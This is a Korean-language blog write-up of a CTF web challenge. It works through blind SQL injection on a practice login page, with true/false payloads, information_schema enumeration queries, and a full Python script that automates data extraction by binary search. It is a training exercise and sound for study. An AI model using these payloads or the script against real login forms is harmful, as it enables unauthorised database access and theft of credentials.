[1]Reconnaissance
Analysis Page
-로그인 페이지입니다.
Check vulnerability
-먼저 SQL Injeciton이 가능한지를 확인하기 위해, "normaltic' and '1'='1" 을 입력해보았고 공격이 가능한 것을 확인했습니다.
-extractvalue로 인한 Xpath 에러 메세지 출력이나, 문법 오류 에러 메세지 출력이 되지 않는 것을 보아 Error based SQLi를 사용하기는 어려워보입니다.
Check Structure
-로그인 인증 구조가 식별/인증 동시 구조인지, 분리 구조인지 확인해보겠습니다.
-비밀번호 1234를 입력해야 로그인이 되는 것을 보아 식별/인증 분리 구조로 추측할 수 있습니다.
[2]Vulnerability
Blind SQL Injeciton
-Blind SQL Injeciton이란, SQL 질의문 결과가 직접 출력되지 않는 로그인 기능등에서 참과 거짓을 분별하여 정보를 추출하는 SQLi 기법입니다.
-로그인 성공이 되면 참, 로그인에 실패하면 거짓으로 공격 포멧을 작성해보겠습니다
[1]길이를 찾는 공격 포멧
-Database 찾기를 기준으로 설명하겠습니다.
-length 함수는 length(string)으로 사용하며, 길이를 출력합니다.
-만약 select 서브쿼리로 사용하는 경우 select length(문자열) from table where condition='condition' 으로 사용합니다.
id : normaltic' and (select length(database())>0) and '1'='1'#
pw : 1234
-database()로 현재 DB 이름을 가져오고 그 DB의 길이를 0과 비교하였습니다. DB 이름이 한 글자 이상이라면 참이 될 것이고, "존재하는 아이디입니다."를 출력할 것입니다.
-로그인에 성공하였으므로 DB 이름이 한 글자 이상이라는 것을 알아냈습니다. 위와 같이 비교문을 이용해 정보를 추출할 수 있습니다.
-공격 포멧은 아래와 같이 작성합니다.
#Query: select length(value) from table
normaltic' and (__QUERY__=number) and '1'='1'#
[2]글자를 찾는 공격 포멧
-위의 공격 포멧을 반복해서 DB의 길이를 구했고, 그 길이가 9라고 합시다.
-mysql에는 문자열을 원하는 길이만큼 추출하는 substr, mid 함수가 존재합니다. 이는 substr(문자열, 시작 위치, 추출할 길이)로 사용하며, 예를 들어서 substr('apple', 1, 1) 이라면 'a' 를 반환합니다.
-ascii와 ord는 문자열을 ascii 코드값으로 변환하는 함수입니다.
-글자를 찾는 공격 포멧은 원하는 값을 substr로 원하는 위치에서 잘라내고, 그것을 ascii code 값으로 변경한 숫자와 비교하여 정보를 추출하는 공격 포멧입니다.
-예를 들어 보겠습니다.
normaltic' and (select ascii(substr(database(),1,1)) > 0) and '1'='1'#
-위의 페이로드는 현재 database 이름의 첫 글자를 ascii code 값으로 변환한 값이 0보다 크다는 구문입니다.
-로그인에 성공하였으므로 DB 이름의 첫 글자의 ascii 코드값이 0보다 크다는 것을
알 수 있습니다.
-이와 같이 정보를 추출합니다.
[3]이후의 단계와 자동화
-먼저 모든 정보 추출단계는 길이 탐색 + 글자 추출을 한 묶음으로 생각하고 진행합니다.
-DB 찾기 > TABLE 찾기 > COLUMN 찾기 > 원하는 정보 추출
-DB 찾기: select database()
-TABLE 찾기: select table_name from information_schema.tables where table_schema='DB찾기로 찾은 DB이름'
-COLUMN 찾기: select column_name from information_schema.columns where table_name='TABLE 찾기로 찾은 TABLE 이름'
*만약 서브쿼리 결과 수 제한이 있다면 limit offset, 1 등으로 결과를 제한하여 추출할 수 있습니다.
[4]이진 탐색 자동화
-이진 탐색의 예시는 업/다운 게임과 같습니다.
-업/다운 게임은 어떠한 수를 정하고 그 수를 맞추기 위해 특정 수를 말하면, 정답에 가까워 지기 위해 특정 수에서 업 혹은 다운을 하라고 지시하며 정답을 맞추는 게임입니다.
-자동화 툴 1은 마치 업/다운 게임에서 업/다운을 듣지 않고 1부터 n까지 하나하나 물어보는 것과 같습니다. 이제보니 굉장히 비효율적입니다.
-이진 탐색은 먼저 특정 수의 범위 중 가장 큰 값 max와 가장 작은 값 min을 정하고 $\frac{max+min}{2}=mid$로 mid를 정합니다.
-mid를 정답과 비교하여 업이면, min에 mid를 삽입하고, 다운이면 max에 mid를 삽입합니다. 이후 다시 $\frac{max+min}{2}=mid$로 새로운 mid를 생성하고 이를 비교하는 과정을 반복합니다.
-제가 가장 고민을 많이 했던 부분은 업과 다운 그리고 정답을 맞추는 조건에 대한 부분이었습니다.
-먼저 조건을 정하였습니다.
select length(database()) > 0
-이 Query에 의한 공격 결과는 로그인 성공일 것입니다. 즉 0보다 크다라는 것이죠. 여기서 0은 우리가 삽입할 mid와 같습니다. 따라서 mid보다 크다라는 것은 min에 mid를 삽입하는 것을 의미합니다. 따라서 mid와 비교한 결과가 "존재하지 않는아이디입니다."라면 max에 mid를 삽입하는 것을 의미합니다.
-두 번째로, 정답에 관한 조건입니다. 이진탐색에 대해 검색해보셨다면 max-min<=1 등의 조건을 보셨을 겁니다. 다만 저 조건만으로 나온 값들을 정답과 비교하면 정답이 아닌 경우도 있습니다. 따라서 저는 max-min<1 조건을 통과한 mid 값을 '=' 비교문으로 변경한 Query에 삽입하여 전송한 후 참 응답을 받은 값들의 mid, max, min 값을 살펴보았습니다.
-여기서 저는 max-min<=1 이며, max==mid 인 값들이 참이었다는 것을 관찰하였습니다.
import requests as req
sess = req.Session()
url = 'http://ctf.segfaulthub.com:7777/sqli_3/login.php'
def get_len(ATTACK):
sp = ATTACK.split(" ")
ATTACK = ("".join(f'length({sp[x]}) ' if x == 1 else f'{sp[x]} ' for x in range(len(sp))))[:-1]
num = 1
while(1):
query = f"normaltic' and ({ATTACK})={num} and '1'='1"
res = sess.post(url, cookies={'PHPSESSID':'__your_info__', 'session':'__your_info__'}, data={'UserId':query,'Password':'1234','Submit':'Login'})
if "User Name : normaltic" in res.text:
number = num
break
elif num>200:
print("No results")
return -1
else:
num += 1
continue
print(f"Length : {number}")
return number
def get_query(length, ATTACK):
data = ''
sp2 = ATTACK.split(" ")
for _ in range(1,length+1):
min_ = 32
max_ = 126
ATTACK = ("".join(f'ord(substr({sp2[x]},{str(_)},1)) ' if x == 1 else f'{sp2[x]} ' for x in range(0,len(sp2))))[:-1]
while(1):
mid = (max_+min_)/2
query = f"normaltic' and ({ATTACK})>{mid} and '1'='1"
res = sess.post(url, cookies={'PHPSESSID':'__your_info__', 'session':'__your_info__'}, data={'UserId':query,'Password':'1234','Submit':'Login'})
if("User Name : normaltic" in res.text):
min_ = mid
else:
max_ = mid
if(max_-min_<=1 and max_==mid):
data = data + chr(int(mid))
print(chr(int(mid)), end="\0")
break
return data
if __name__ == "__main__":
while(1):
ATTACK = input("Please Enter the Query >> ")
number = get_len(ATTACK)
if (number == -1):
print("Hey, Check your Query")
continue
res = get_query(number,ATTACK)
print("")
-탐색 과정은 이진 탐색인 점을 제외하고 자동화 툴 1과 같으나, get_len 함수 내에서 결과가 없는 경우에 대한 조건을 달아 -1을 리턴하게 하고 -1를 리턴받는다면 다시 Query를 점검해보라는 메세제와 continue를 이용하여 프로그램이 재가동되게 제작하였습니다.
[3]Flag
'write-up > web' 카테고리의 다른 글
SQL Injection Point 2 (0) | 2024.06.11 |
---|---|
SQL Injection Point 1 (0) | 2024.06.06 |
SQL Injeciton 3&4&5 (0) | 2024.06.03 |
SQL Injection (Blind Practice) (0) | 2024.06.02 |
SQL Injection (Error Based SQLi Basic) (0) | 2024.05.31 |